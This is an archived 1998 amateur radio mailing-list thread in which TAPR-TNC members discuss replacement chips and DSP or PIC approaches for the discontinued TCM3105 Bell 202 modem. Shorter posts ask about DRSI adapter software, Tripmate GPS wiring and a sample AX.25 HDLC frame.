Thanks. I'm cross posting to the DSP SIG to cast a wide enough net to improve the probability of connecting with someone who has an answer.

-73- de N5PSP - Alton
"Proud to be a charter member of the vast right wing conspiracy."

'Necessity' is the plea for every infringement of human rights. It is the argument of tyrants; it is the creed of slaves." ...s
poken 200 years ago by Wm. Pitt of Britain.

When you support more government, which are you? The TYRANT? Or The SLAVE..?

"You know the one thing that's wrong with this country? Everyone gets a chance to have their fair say."
-- Bill Clinton (May 29
, 1993)

-73- de N5PSP - Alton

"We hold these truths to be self-evident, that all men are created
equal; that they are endowed by their Creator with certain
inalienable rights, and among them are Life, Liberty, and the Pursuit
of Happiness."

4. Re: [TAPR-TNC:468] Replacement for TCM3105 needed

From: Lonny Fairfield <lfairfie@wyoming.com>
Date: Fri, 17 Apr 1998 22:32:27 -0600
To: tapr-tnc@tapr.org
Message-ID: <35382CDB.958EEDB0@wyoming.com>
Rendered body type: text/plain

Alton Teague wrote:
>
> Yeah I know - it's sort of off topic but I've struck out everywhere else.
-----snip---

> As anyone who has messed with the hardware of various TNCs is aware, Texas
> Instruments has discontinued their TCM3105 modem chip.
The exact pinout or clock frequency or external component requirements
for
> this is NOT critical. I'll settle for ANYTHING that will generate and decode
> the 1200 hz / 2200 hz tones and function as a modem that is on a single
> chip.
>
> I'm saying this to avoid all the answers that "it doesn't have the pinout
> of the TCM3105".

        Has anyone looked into the MX-COM parts? Like the MX429A or the MX614,
etc.? I had been wondering the same thing about the Bell 202 chips for
awhile now.

www.mxcom.com

N7TSP
Lonny Fairfield

5. Re: [TAPR-TNC:468] Replacement for TCM3105 needed

From: "David A. Cooley" <n5xmt@ols.net>
Date: Sat, 18 Apr 1998 00:37:54 -0400
To: tapr-tnc@tapr.org
Cc: rocketman@basinlink.com
Message-ID: <3.0.5.32.19980418003754.007f9390@mail.ols.net>
Rendered body type: text/plain

Check out the Exar XR2211 XR2206 pair. They are true Bell 202, the TCM3105
was a half-assed attempt at a modem and didn't use the true bell 202 tone
set... TI thought it was "Close enough". Kantronics used it in the newer
KPC3+'s and they have MAJOR problems with connections if there is the
slightest bit of noise on the signal.

At 10:48 PM 4/17/98 -0500, you wrote:
>Yeah I know - it's sort of off topic but I've struck out everywhere else.
>
>As anyone who has messed with the hardware of various TNCs is aware, Texas
>Instruments has discontinued their TCM3105 modem chip.
>
>An extensive search of the Web for the words "modem" and "radio" and ("1200
>baud" OR "Bell 202") has kept coming back to assorted packet radio pages
and a
>few other neat critters - all of which use the TCM3105 chip.
>
>Apparently to continue to build the PicoPacket (and I suspect other
>manufacturers have done the same), PacComm made a "lifetime buy" of this
part.
>
>Once this cache of them is depleted, there are no more.
>
>I have been unsuccessful in searching assorted documents such as the IC
Master
>and various manufacturers' data books for any chip which will function as a
>Bell 202 (1200 baud) modem, period. No ifs, ands, buts.
>
>Apparently the 1200 baud modems by any manufacturer - any pinout - any
package
>type - are "No longer manufactured, no suitable substitute".

>
>The exact pinout or clock frequency or external component requirements for
>this is NOT critical. I'll settle for ANYTHING that will generate and decode
>the 1200 hz / 2200 hz tones and function as a modem that is on a single

==
David Cooley N5XMT   Internet: N5XMT@ols.net
Packet: N5XMT@KQ4LO.#INT.NC.USA.NA   T.A.P.R. Member #7068
        We are Borg... Prepare to be assimilated!
==

6. Re: [TAPR-TNC:468] Replacement for TCM3105 needed

From: Byron Smith <wa6ylb@theworks.com>

Date: Fri, 17 Apr 1998 22:00:56 -0700
To: tapr-tnc@tapr.org
Message-ID: <199804180511.WAA16816@ns.theworks.com>
Rendered body type: text/plain

gosh, does this preclude using the old XR2211 demod and XR2206 mod chips?
Sure, they have a few external componets, but there is oodles of these
still running today. Every MFJ1270 / mfj1274, TNC2, TNC1 had them. Will
this work for you?

On the software issue - there was a "tnc via the software approach" by
W4UCH I believe.
I have the software manual here somewhere. Its also mentioned in one of the
first 4 or 5 ham radio computer conferences thats listed on TAPR.ORG. The
only thing is, that this software approach used some sort of tone decoder
I believe. Its been quite a few years (like back in the early 80's as
this program was targeted for use in a Tandy PC .... GLB ran a simular
implementation of it(GLB -1 - someone gave me one of gave me one of these
a month ago!), but still with a 2211 decoder (I think - thats a long time
ago...)

At 10:48 PM 4/17/98 -0500, you wrote:
>Yeah I know - it's sort of off topic but I've struck out everywhere else.
>
>As anyone who has messed with the hardware of various TNCs is aware, Texas
>Instruments has discontinued their TCM3105 modem chip.
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>An extensive search of the Web for the words "modem" and "radio" and ("1200
>baud" OR "Bell 202") has kept coming back to assorted packet radio pages
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>few other neat critters - all of which use the TCM3105 chip.
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>manufacturers have done the same), PacComm made a "lifetime buy" of this
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>Once this cache of them is depleted, there are no more.
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Master
>and various manufacturers' data books for any chip which will function as a
>Bell 202 (1200 baud) modem, period. No ifs, ands, buts.
>
>Apparently the 1200 baud modems by any manufacturer - any pinout - any
package
>type - are "No longer manufactured, no suitable substitute".
>
>The exact pinout or clock frequency or external component requirements for
>this is NOT critical. I'll settle for ANYTHING that will generate and decode
>the 1200 hz / 2200 hz tones and function as a modem that is on a single
>chip.
>
>I'm saying this to avoid all the answers that "it doesn't have the pinout
>of the TCM3105". I KNOW that. I'm laying out a new board to accomodate
>whatever I can come up with. My design will be driven by whatever can be
>tracked down - this is NOT for a repair / retrofit.
>
>I did see a reference several years old to an AM7911, and also the string
>"AM7910" appeared, but a search for this part was unsuccessful - even to
>determine if it really existed.
>
>Has ANYONE come up with anything at all to use as a modem chip for a
>replacement (see above paragraph) for the TCM3105? I hate to go back to the
>Exar 567 / 565 solution except as an absolute last resort.

>
>Is there any DSP code to software emulate a Bell 202 modem? What about
using a
>PIC processor, such as the 16C71 / 16C73? (FYI - the MIC-E is built on the
>16C73 processor so I know that it is possible - may just require a lot of
>reverse engineering and hacking to figure out how)
>
>Is there any PIC code to do a pseudo-DSP algorithm to RECEIVE the 1200 /
2200
>hz tones?
>
>I am going to have to either track down a current production part that can
be
>made to function as a modem, or sit down and invent one totally from
scratch,
>or reverse engineer someone else's solution.
>
> Personally I like the DSP or PIC type solution if enough information can
>be gathered, or enough reverse engineering on a MIC-E or such can be done to
>handle the tones.
>
>Another thing I like about the DSP or PIC solution is the possibility of
>handling higher data rates with nothing but a software upgrade. Anyone
>experimenting along these lines?
>
>Thanks. I'm cross posting to the DSP SIG to cast a wide enough net to
improve
>the probability of connecting with someone who has an answer.
>
>-----------------
>

>-73- de N5PSP - Alton
>"Proud to be a charter member of the vast right wing conspiracy."
>
>'Necessity' is the plea for every infringement of human rights. It is the
argument of tyrants; it is the creed of slaves." ...s
>poken 200 years ago by Wm. Pitt of Britain.
>
>When you support more government, which are you? The TYRANT? Or The SLAVE..?
>
>"You know the one thing that's wrong with this country? Everyone gets a
chance to have their fair say." -- Bill Clinton (May 29
>, 1993)
>
>-73- de N5PSP - Alton
>
>"We hold these truths to be self-evident, that all men are created
>equal; that they are endowed by their Creator with certain
>inalienable rights, and among them are Life, Liberty, and the Pursuit
>of Happiness."
>

Byron Smith
wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam

If a man makes a statement, deep in the forest, and there isn't a woman
around to hear him, is he still wrong?

7. Re: [TAPR-TNC:469] Re: Replacement for TCM3105 needed

From: "Alton Teague" <rocketman@basinlink.com>
Date: Sat, 18 Apr 1998 00:21:53 -0600
To: tapr-tnc@tapr.org
Message-ID: <19980418000849.6d1dceb4.in@mail.texasonline.net>
Rendered body type: text/plain

Lonny wrote:
> -------
>   Has anyone looked into the MX-COM parts? Like the MX429A or the MX614,
> etc.? I had been wondering the same thing about the Bell 202 chips for
> awhile now.
>
> www.mxcom.com

I think these are 1200 baud MSK parts - use 1200 hz and 1800 hz tones, not 1200
and 2200 hz.

The more I think about it, the better I like the DSP idea - just one more

processor to get up to speed on but might be worth it in the long run.

The Exar solution is of course what the TAPR TNC-2 clones use such as the MFJ1270.

I just like the component count savings of one chip and a clock signal borrowed from the main processor, the RXA line from the radio going in to one pin, and the DCD and RXD signals coming out another couple of pins; TXD going in a pin, and TXA coming out another one - and all the signal conditioning inside the chip.

Might have to lay out an ASIC to do it. If I end up designing a DSP or ASIC solution, I'll have to of course make it available at a reasonable cost to the ham community. How about an 8 pin SOIC sized footprint? Use an IIC type scheme to set the tones and data rate, and input / output audio levels?

Hmmm - maybe it's time to design one. Put code in it to handle 9600 baud as well - just set a couple of bits different to change modes - or even give it the ability to switch speeds on the fly.

Ideas, ideas, ideas?

-73- de N5PSP - Alton

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equal; that they are endowed by their Creator with certain
inalienable rights, and among them are Life, Liberty, and the Pursuit
of Happiness."

8. Re: [TAPR-TNC:471] Re: Replacement for TCM3105 needed

From: "Alton Teague" <rocketman@basinlink.com>
Date: Sat, 18 Apr 1998 01:20:21 -0600
To: Byron Smith <wa6ylb@theworks.com>, tapr-tnc@tapr.org
Message-ID: <19980418010712.6d53407c.in@mail.texasonline.net>
Rendered body type: text/plain

> gosh, does this preclude using the old XR2211 demod and XR2206 mod chips?
> Sure, they have a few external componets, but there is oodles of these
> still running today. Every MFJ1270 / mfj1274, TNC2, TNC1 had them. Will
> this work for you?

If those are still in current production or a later variant / lower power flavor exists. It would be really nice to find a surface mount version of these chips if I have to use that route. I think the DCD circuit in the PicoPacket uses the XR2206 to detect tones vs noise for open squelch detection.

> On the software issue - there was a "tnc via the software approach" by
> W4UCH I believe.
> I have the software manual here somewhere. Its also mentioned in one of the
> first 4 or 5 ham radio computer conferences thats listed on TAPR.ORG. The
> only thing is, that this software approach used some sort of tone decoder
> I believe. Its been quite a few years (like back in the early 80's as
> this program was targeted for use in a Tandy PC .... GLB ran a simular
> implementation of it(GLB -1 - someone gave me one of gave me one of these
> a month ago!), but still with a 2211 decoder (I think - thats a long time
> ago...)
>

I'm thinking of modulator / demodulator using software in a microcontroller. Use the on-chip A-D converter on the PIC16C71 / 16C73 family, and sample it about 16x the 2200 hz rate, then do something like a coarse FFT and clock skew recovery, and output RXD and DCD signals.

Then use the pulse width modulation circuit at a high enough sample rate to take TXD coming in and do something like a pseudo-DDS to generate phase coherent 2200 and 1200 hz sine waves (well, a bunch of DC steps that when run thru a low pass filter will pass for sine waves) depending on whether the TXD signal coming in to a port pin on the controller is high or low - and maybe also shut off the waveforms if PTT is also not active as well.

I figure if I can write a code section that will make something that filters into a 2200 hz sine wave, and another section that makes a 1200 hz waveform, then I've got 50% of the problem whipped.

With an 18.432 mhz crystal for the processor and the very fast execution time of its code, I bet I can make it wiggle a port bit where it would look like an audio waveform after passing thru an RC type low pass filter and then maybe an op-amp.

-73- de N5PSP - Alton

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equal; that they are endowed by their Creator with certain
inalienable rights, and among them are Life, Liberty, and the Pursuit
of Happiness."

9. Re: [TAPR-TNC:473] Re: Replacement for TCM3105 needed

From: "Andrew B. White" <k9cw@prairienet.org>
Date: Sat, 18 Apr 1998 07:51:46 -0500 (CDT)
To: Alton Teague <rocketman@basinlink.com>
Cc: tapr-tnc@tapr.org
Message-ID: <Pine.3.89.9804180715.A9709-0100000@firefly.prairienet.org>
Rendered body type: text/plain

On Sat, 18 Apr 1998, Alton Teague wrote:

> > gosh, does this preclude using the old XR2211 demod and XR2206 mod chips?
>
> If those are still in current production or a later variant / lower power
> flavor exists. It would be really nice to find a surface mount version of these
> chips if I have to use that route. I think the DCD circuit in the PicoPacket
> uses the XR2206 to detect tones vs noise for open squelch detection.
>

Yep, the XR2211 and XR2206 are still in production. This past December I
was involved in the design of a new military FSK modem, and we decided
to use these parts. This solution may not be as sexy as a DSP, but the
parts are cheap, they work well, and the resulting product doesn't
require FCC part 15 testing. The XR2211 has a PLL locked output that
can be used as a DCD signal.

73, Drew

------------------------------------------------------------------*
| Andrew B. White K9CW | internet: k9cw@prairienet.org |
| ABW Associates, Ltd. | phone/fax: 217-643-7327 |
------------------------------------------------------------------*

10. Re: [TAPR-TNC:468] Replacement for TCM3105 needed

From: Bob Nielsen <nielsen@primenet.com>
Date: Sat, 18 Apr 1998 07:59:02 -0700 (MST)
To: Alton Teague <rocketman@basinlink.com>
Cc: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.96.980418075600.1217C-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

I see several people have mentioned the 2211/2206 combination. The AM7910
was probably discontinued before the TCM3105, unfortunately.

To my knowledge all the DSP implementations of TNCs have 1200 baud
software available, including soundblaster cards.

Bob, W6SWE

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@01.w6swe.ampr.org
                           http://www.primenet.com/~nielsen

11. Re: [TAPR-TNC:473] Re: Replacement for TCM3105 needed

From: "Joe S. Borovetz" <wa5vms@tapr.org>
Date: Sat, 18 Apr 1998 10:39:30 -0500
To: tapr-tnc@tapr.org
Message-ID: <3.0.32.19980418103924.00afeca0@tapr.org>
Rendered body type: text/plain

>If those are still in current production or a later variant / lower power
>flavor exists. It would be really nice to find a surface mount version of
these
>chips if I have to use that route. I think the DCD circuit in the PicoPacket
>uses the XR2206 to detect tones vs noise for open squelch detection.

The 2211 and 2206 are available in a surface mount part. I have seen them
used in the 1200 baud modem of a MDS data radio.

For those not familiar with MDS, they make a high quality data radio that
is used for telemtry service. RS-232 in and data out.

The unit offers plug in modems all the way up to 9600 and it is a first
class radio. At $800 ea, they better be.

The 2211 2206 modem was part of the reason that I selected these radios to
replace Johnson data radios.

The Johnson uses the AM7910. This chip has been out of production for at
least two years but EFJ still continues to sell radios using this part.

At $80 ea for a replacement part from EFJ, who can afford them.

Joe

12. Re: [TAPR-TNC:472] Re: Replacement for TCM3105 needed

From: Lonny Fairfield <lfairfie@wyoming.com>
Date: Sun, 19 Apr 1998 01:04:02 -0600
To: tapr-tnc@tapr.org
Message-ID: <3539A1E2.3E37A0DF@wyoming.com>
Rendered body type: text/plain

Hello again,

        After checking the data books the MX429A is indeed a MSK part. The
MX604 is the V.23 part - 1300 / 2100 Hz shift and the MX614 is a Bell
202 part with the 1200 / 2200 Hz shift and 150 Hz back channel like the
TCM3105. I don't know if either of these parts would be suitable for
your use. I guess I needed the memory refreshed anyway. :)

> I think these are 1200 baud MSK parts - use 1200 hz and 1800 hz tones, not 1200
> and 2200 hz.

73 N7TSP
Lon

13. Re: Replacement for TCM3105 needed

From: "Robert B. Morgan" <morganb@inetport.com>
Date: Sun, 19 Apr 1998 13:28:59
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.16.19980419132859.0c9f2632@inetport.com>
Rendered body type: text/plain

At 12:16 AM 4/18/98 -0500, you wrote:
>gosh, does this preclude using the old XR2211 demod and XR2206 mod chips?
>Sure, they have a few external componets, but there is oodles of these
>still running today. Every MFJ1270 / mfj1274, TNC2, TNC1 had them. Will
>this work for you?
-SNIP-
>>As anyone who has messed with the hardware of various TNCs is aware, Texas
>>Instruments has discontinued their TCM3105 modem chip.
>>
>>An extensive search of the Web for the words "modem" and "radio" and ("1200
>>baud" OR "Bell 202") has kept coming back to assorted packet radio pages
>and a
>>few other neat critters - all of which use the TCM3105 chip.
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>>Apparently the 1200 baud modems by any manufacturer - any pinout - any
>package
>>type - are "No longer manufactured, no suitable substitute".
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>>The exact pinout or clock frequency or external component requirements for
>>this is NOT critical. I'll settle for ANYTHING that will generate and
decode
>>the 1200 hz / 2200 hz tones and function as a modem that is on a single
>>chip.
-SNIP-
>>Has ANYONE come up with anything at all to use as a modem chip for a
>>replacement (see above paragraph) for the TCM3105? I hate to go back to the
>>Exar 567 / 565 solution except as an absolute last resort.

---------------This is the second time I have tried to send the following
---------------to this SIG. It didn't take the first time, 2 days ago.

About a year ago, I started chasing this problem myself. I located a
company called MX-COM who is making various communications and modem chips
supposedly with radio applications in mind for some of them, and also things
like caller-id (and that's a 202 RX too), etc. They introduced a
MX604 V.23 modem chip (the euro equiv of the 202, but incompatible),
and a MX469, a 1200/2400 MSK modem chip. Later on, they came up with

a MX614 which is their 202 modem chip. They sent me a datasheet, which I
apparently managed not to file with the rest of their stuff, or I would
give you more info here now. Also, I think that there could be one
or maybe two other manufacturers out there doing something more with the
202 IC's, but I haven't been able to nail them down yet either.
Cermatek is the one other likely candidate off the top of my head.

I HAVE NOT had a chance to get around to getting any samples and doing
any experiments with them, although I very much would like to do so.
Like you, I have been horsing around with the 2206/2211 pair, with the
calibration, component counts, and some fragile OC outputs from the demod
that seem to blow fairly easily. The MXCOM chips, like the 3105 are crystal
controlled, but of course that brings up a potential reliability issue
with some of the on-chip oscillators if the crystal activity is a bit low
(they may not start). It's not an issue with the self contained crystal/
oscillator IC's, because then the manufacturer can control the specs on
the crystal to behave with the oscillator since it is a single package.

Also, I can't vouch for how good the MXCOM stuff performs on a radio
circuit in the presence of noise, but if you look at the 2211 specs,
the BER is horrible at best. THAT thing obviously was meant for a quiet
wire circuit, and we have been paying dearly in poor performance for
them almost the whole time packet has been around. I remember the older
RTTY days, when my ST6 would print decent HF 45b baudot in the presence of
so much noise I couldn't hear the data carrier at all. We took a giant
leap backwards at that particular point in time in 1983 or so. I suspect
that is one reason that Lyle and lots of others have been hollering about
layer ONE for so long. I guess here I am lobbying for someone to do
some testing on anything new that comes along in this department.

Their address is:
www.mxcom.com
800-638-5577

They have .pdf files on their website with the device spec sheets,
although I remember that a year ago, I seemed to have problems printing
the files reliably (I hate .pdf fiels, but that is another story).

If you ever follow the EMWIN stuff that the NWS HQ bunch is working on,
they were showing off a 3105 demod for new designs (HA), but lately they
posted a 2400 MSK design using the MX469, so they have been looking
in the same places too. Gwyn Reedy at PacComm told me he bought some
horrific last production run of the 3105 so he could keep up for awhile.

Now, on the subject of 2400b, seems like I dimly recall that there
were two non-interchangeable 2400b schemes on the market a few years
ago from the usual TNC manufacturers, and I never did chase down who was
running which format. Now that the MX469 is out there, I would like to
see that subject revisited too. It is probably interoperable with one
of the 2400b TNC's.

Anyone that has a chance to experiment with these newer IC's
PLEASE share your experiences here on this SIG...

73 de Bob WB5AOH
Austin Texas
morganb@inetport.com

14. Re: [TAPR-TNC:477] Re: Replacement for TCM3105 needed

From: "Alton Teague" <rocketman@basinlink.com>
Date: Sun, 19 Apr 1998 18:12:11 -0600
To: tapr-tnc@tapr.org
Cc: altodsa1@marshill.com
Message-ID: <19980419175837.761885a5.in@mail.texasonline.net>
Rendered body type: text/plain

>   After checking the data books the MX429A is indeed a MSK part. The
> MX604 is the V.23 part - 1300 / 2100 Hz shift and the MX614 is a Bell
> 202 part with the 1200 / 2200 Hz shift and 150 Hz back channel like the
> TCM3105. I don't know if either of these parts would be suitable for
> your use. I guess I needed the memory refreshed anyway. :)

So they actually got the MX614 in production? Last I heard they had a bug in
the first wafers and were back to the drawing board - that was about 18 months
ago - and now I haven't heard another peep out of them.

You got their URL for that data sheet if they are on the web?

Another candidate to put on the list. Also seems that the Exar parts are still

workhorses alive and kicking. We will probably just plagarize the 26 pin modem disconnect header that's on the assorted TNC-2 clones, especially like the PacComm MicroPower 2, and that way we can experiment with a lot of different ones or even resort to just buying a plug and play one for the first installations, and figure out the details of the modem under a lot more relaxed deadline.

> > I think these are 1200 baud MSK parts - use 1200 hz and 1800 hz tones, not 1200
> > and 2200 hz.
>
> 73 N7TSP
> Lon

-73- de N5PSP - Alton

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equal; that they are endowed by their Creator with certain
inalienable rights, and among them are Life, Liberty, and the Pursuit
of Happiness."

15. Re: [TAPR-TNC:478] Re: Replacement for TCM3105 needed

From: "Alton Teague" <rocketman@basinlink.com>
Date: Sun, 19 Apr 1998 18:12:11 -0600
To: tapr-tnc@tapr.org
Cc: altodsal@marshill.com
Message-ID: <19980419175934.761964ef.in@mail.texasonline.net>
Rendered body type: text/plain

(snip)

> Also, I can't vouch for how good the MXCOM stuff performs on a radio
> circuit in the presence of noise, but if you look at the 2211 specs,

That's one of the reasons I'm thinking of a DSP. It's another steep learning curve - just as I had to learn C++ and Windows 95 API for a current project to implement KISS mode and do some protocol improvements (still buggy and going 70 miles to a site Monday to try and root out what's really going on - I think it's downstream of the PicoPackets in the field - but I'm still grasping at straws)

> the BER is horrible at best. THAT thing obviously was meant for a quiet
> wire circuit, and we have been paying dearly in poor performance for
> them almost the whole time packet has been around. I remember the older

Amen. Even the 3105 is finicky and we have to set the radio transmit drive level "just right" - exactly 3.0 khz deviation, and back off from the limiter's clipping where the waveforms are truly sinusoidal, and do it with every individual radio / TNC combination going into the field. And set the receive audio to exactly 150 millivolts going in to the TNC.

Then they plug and play really nicely - but Bubba and his cousin Billy-Bob sure can't hook one up without a service monitor and a scope. So we solved the problem with an "audio interface board" that essentially is a deviation meter and audio level indicator with some op-amps and an LM3514 bar / dot LED driver to act like a solid state VU meter.

They key the TNC (using CALIBRA), and turn the little pot on the back until all the yellow and red lights are out and only the green ones are lit (on my board), and the audio drive level is where a TEKK T-Net radio has proper deviation - usually. I confirm them with the trusty Ramsey service monitor (3 khz deviation) and the oscilloscope (received audio is clean sine waves), and if necessary adjust the TEKK to "Make it so" in the immortal words of Captain Picard.

> RTTY days, when my ST6 would print decent HF 45b baudot in the presence of
> so much noise I couldn't hear the data carrier at all. We took a giant
> leap backwards at that particular point in time in 1983 or so. I suspect
> that is one reason that Lyle and lots of others have been hollering about
> layer ONE for so long. I guess here I am lobbying for someone to do
> some testing on anything new that comes along in this department.

Well I'm gonna sure enough do a lot of experiments this summer, and whatever finally goes out the door will be as tolerant of noisy channels, clipping, phase distortion from being on the slope of an audio pass filter, etc. - as can be done with the information and time / frustration factor I've got available.

And I'll be more than happy to share the research results with the ham community of what worked, what almost worked, the good, the bad, and the ugly.

> Their address is:
> www.mxcom.com
> 800-638-5577

Thanks. I bookmarked that.

> If you ever follow the EMWIN stuff that the NWS HQ bunch is working on,
> they were showing off a 3105 demod for new designs (HA), but lately they
> posted a 2400 MSK design using the MX469, so they have been looking
> in the same places too. Gwyn Reedy at PacComm told me he bought some
> horrific last production run of the 3105 so he could keep up for awhile.

Yes. We use the PicoPacket on our RTUs and modified them so they take power in through pin 6 of the radio port phone jack - greatly simplifies cabling / installation labor - and there it is - the TCM3105DW (surface mount) chip staring up at me.

We did the same trick (horrific last production run purchase) of the Intel 8256 chip, and also of the 8085 processor, so we can get our Z80182 based RTU up and going before we run out of parts on the existing product.

> Now, on the subject of 2400b, seems like I dimly recall that there
> were two non-interchangeable 2400b schemes on the market a few years
> ago from the usual TNC manufacturers, and I never did chase down who was
> running which format. Now that the MX469 is out there, I would like to
> see that subject revisited too. It is probably interoperable with one
> of the 2400b TNC's.

It would be REAL nice to see a standardized version of 2400 baud. One thing about DSP of course is being able to change speeds on the fly without having to even open the box. I've got quite a bit to research next week with the Zilog DSPs and of course the Exar and maybe a PIC solution. I've got a fellow trying to learn the PIC instructions and such enough to be helpful in experimenting with that - but it will probably be as steep a learning curve for him as it was for me.

> Anyone that has a chance to experiment with these newer IC's
> PLEASE share your experiences here on this SIG...
>
> 73 de Bob WB5AOH
> Austin Texas
> morganb@inetport.com

-73- de N5PSP - Alton

"We hold these truths to be self-evident, that all men are created
equal; that they are endowed by their Creator with certain
inalienable rights, and among them are Life, Liberty, and the Pursuit
of Happiness."

16. Re: [TAPR-TNC:468] Replacement for TCM3105 needed

From: Bob Nielsen <nielsen@primenet.com>
Date: Sun, 19 Apr 1998 17:33:23 -0700 (MST)
To: Alton Teague <rocketman@basinlink.com>
Cc: altodsa1@marshill.com, tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.96.980419171628.1719A-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

On Sun, 19 Apr 1998, Alton Teague wrote:

> Soundblaster card software for 1200 baud?? <DROOL> <SLOBBER>
> How do they key the transmitter? I wanna download some implementations if they
> exist and play with them a little. Sounds like that would be a GREAT way to
> bench-test TNCs - especially where I'm battling deviation on the radios being
> way too high, too low, too clipped, etc. etc. etc.

Check out these urls:

http://piment.ireste.fr/flexnet/english/
http://www.ife.ee.ethz.ch/~sailer/pcf/

This uses the flexnet protocol, but there's also some Linux kernel support available.

The PTT circuitry is at
http://www.ife.ee.ethz.ch/~sailer/pcf/ptt_circ/ptt.html

I haven't used this yet, but will give it a try one of these days. I

expect the performance won't match something like the Motorola EVM56002,
for which TAPR will soon have an interface kit (See the Winter 1998 PSR).

73, Bob

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@01.w6swe.ampr.org
                           http://www.primenet.com/~nielsen

17. DRSI software

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 27 Apr 1998 12:11:50 -0400
To: tapr-tnc@tapr.org
Message-ID: <199804271611.MAA08784@penny.n2wx.ampr.org>
Rendered body type: text/plain

Please reply directly to Marklm51@yahoo.com if you have any thoughts.

------- start of forwarded message (RFC 934 encapsulation) -------

Name: Mark L. Maxfield
Callsign: KB8TEG
Email: MARKLM51@YAHOO.COM

Address: xxxxxxxx

City: MESICK, MICHIGAN 49668 USA

- ---Comments--
HELLO, Im looking for software to run a DRSI packet adapter that fits in
side my pc. its the type 1 that has 1200 baud and hf port. If you have
this software or can tell me where i can get it, I would appreciate it very
much. Thanks, Mark
- ---

------- end -------

18. re: [TAPR-TNC:482] DRSI software

From: rbenny@cbcph.navy.mil
Date: Mon, 27 Apr 98 10:14:22 PDT
To: tapr-tnc@tapr.org
Message-ID: <vines.zY49+in9FpA@bansmtp.cbcph.navy.mil>
Rendered body type: text/plain

Mark,
We use these cards in our DX PacketCluster systems. We now use BPQ as
drivers, but I do have the original software from DRSI.
If you don't get it from someone else, let me know and I can probably
attach each file to an email, or if you prefer, I can send you a floppy.

Ray, N6VR

Original Text
From: <hg@penny.n2wx.ampr.org>, on 4/27/98 9:14 AM:
Please reply directly to Marklm51@yahoo.com if you have any thoughts.

------- start of forwarded message (RFC 934 encapsulation) -------

Name: Mark L. Maxfield
Callsign: KB8TEG
Email: MARKLM51@YAHOO.COM

Address: xxxxxxxx

City: MESICK, MICHIGAN 49668 USA

- ---Comments--
HELLO, Im looking for software to run a DRSI packet adapter that fits in
side my pc. its the type 1 that has 1200 baud and hf port. If you have
this software or can tell me where i can get it, I would appreciate it very
much. Thanks, Mark
- ---

------- end -------

19. Re: [TAPR-TNC:468] Replacement for TCM3105 needed

From: Joao Pissarro <pissaro@mail.telepac.pt>
Date: Tue, 28 Apr 1998 21:16:00 +0100
To: tapr-tnc@tapr.org
Message-ID: <3.0.32.19980428211549.006a0f80@mail.telepac.pt>
Rendered body type: text/plain

Hello all,

I have only now read my mail, But to the DSP solution
the guys on BayCom (www.baycom.de) they have implemented
a 1200/9600baud modem on a PIC basis.

Hope it helps.

73
Joao

---

73 de	QTH	: Massama
Joao Pissarro	LOC	: IM58is
	Packet	: CT1DBH@CS1AAS.CTLX.PRT.EU
	E-Mail	: pissaro@mail.telepac.pt
	IP	: 44.158.27.18
	Homepage	: http://ct1dbh.ampr.org
		http://www.terravista.pt/mussulo/1944

---

20. Making a Tripmate cable

From: "Russ Brown" <brownrj@kaiwan.com>
Date: Tue, 28 Apr 1998 21:43:40 -0700
To: <tapr-tnc@tapr.org>
Message-ID: <01bd7329$6195c2e0$LocalHost@brownrj>
Rendered body type: text/plain

Has anyone wired the Tripmate GPS to the PicoPacket TNC's second serial
port? I've got a red, white and ground that have to go to the number 2,3,
and 4 pins on the 9 pin connector. Thanks.
Russ
KB6LUD

21. Re: [TAPR-TNC:485] Making a Tripmate cable

From: "Ronald G. Parsons" <w5rkn@amsat.org>
Date: Thu, 30 Apr 1998 10:22:55 -0500
To: tapr-tnc@tapr.org
Message-ID: <3548974F.DEA08334@amsat.org>
Rendered body type: text/plain

Don't forget to wire the Tripmate wires 2 and 3 together for initialization
and bring DTR high to start the Tripmate.

Russ Brown wrote:

> Has anyone wired the Tripmate GPS to the PicoPacket TNC's second serial
> port? I've got a red, white and ground that have to go to the number 2,3,
> and 4 pins on the 9 pin connector. Thanks.
> Russ
> KB6LUD

--
Ron Parsons
W5RKN

May 1998

Original source file: tapr-tnc.9805
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9805

1. Anyone have a sample HDLC frame?

From: John Hansen <hansen@ait.fredonia.edu>
Date: Thu, 07 May 1998 23:46:22 -0400
To: TAPR-TNC@tapr.org
Message-ID: <355271FE.5107@ait.fredonia.edu>
Rendered body type: text/plain

Hi Folks:

I'm wondering if someone can provide me with a complete AX.25 HDLC frame. By this I mean the really raw data including bit-stuffing left in and the FCS. I can't figure a way to get my TNC to spit this out and I've searched around the TAPR archives without success. I'm working on a project that requires me to construct the HDLC frames from scratch and I need to know whether the procedures I'm using are correct. Yeah, I know I could just construct the frame, transmit it and see if my TNC can decode it, but if it fails to decode it I won't know what error I've made. If I could get a complete frame that I know is good, it would move me a fair distance down the road. I really only need something simple, a UI frame with just a byte or two would be fine.

Thanks in advance for any assistance you may be able to provide.

John Hansen, W2FS (ex-WA0PTV)

2. [TAPR-TNC:487] Anyone have a sample HDLC frame?

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Fri, 8 May 1998 07:58:53 -0400
To: tapr-tnc@tapr.org
Message-ID: <199805081158.HAA01627@penny.n2wx.ampr.org>
Rendered body type: text/plain

John Hansen writes:
> I'm wondering if someone can provide me with a complete
> AX.25 HDLC frame. By this I mean the really raw data including
> bit-stuffing left in and the FCS. I can't figure a way to get my
> TNC to spit this out and I've searched around the TAPR archives
> without success.

You can't get it with a stock setup and trivial effort. The SIO's bit stuffing is wired into SDLC mode. I'm not sure if you can get the entire FCS either. Zilog had some information on how to do it with enhanced SCCs, it may not apply to the SIO.

One way around this might be to tap rxdata at the digital loopback pin, and rxclk at the state machine->sio interface. Bring those into a PC and have at it.

Sorry if this was covered already, it may have been but someone on the mailing list is generating broken Message-IDs MTA barf bounces on.

If one of you reading this message knows the person involved with:

Date: Thu, 7 May 1998 23:57:17 -0500 (CDT)
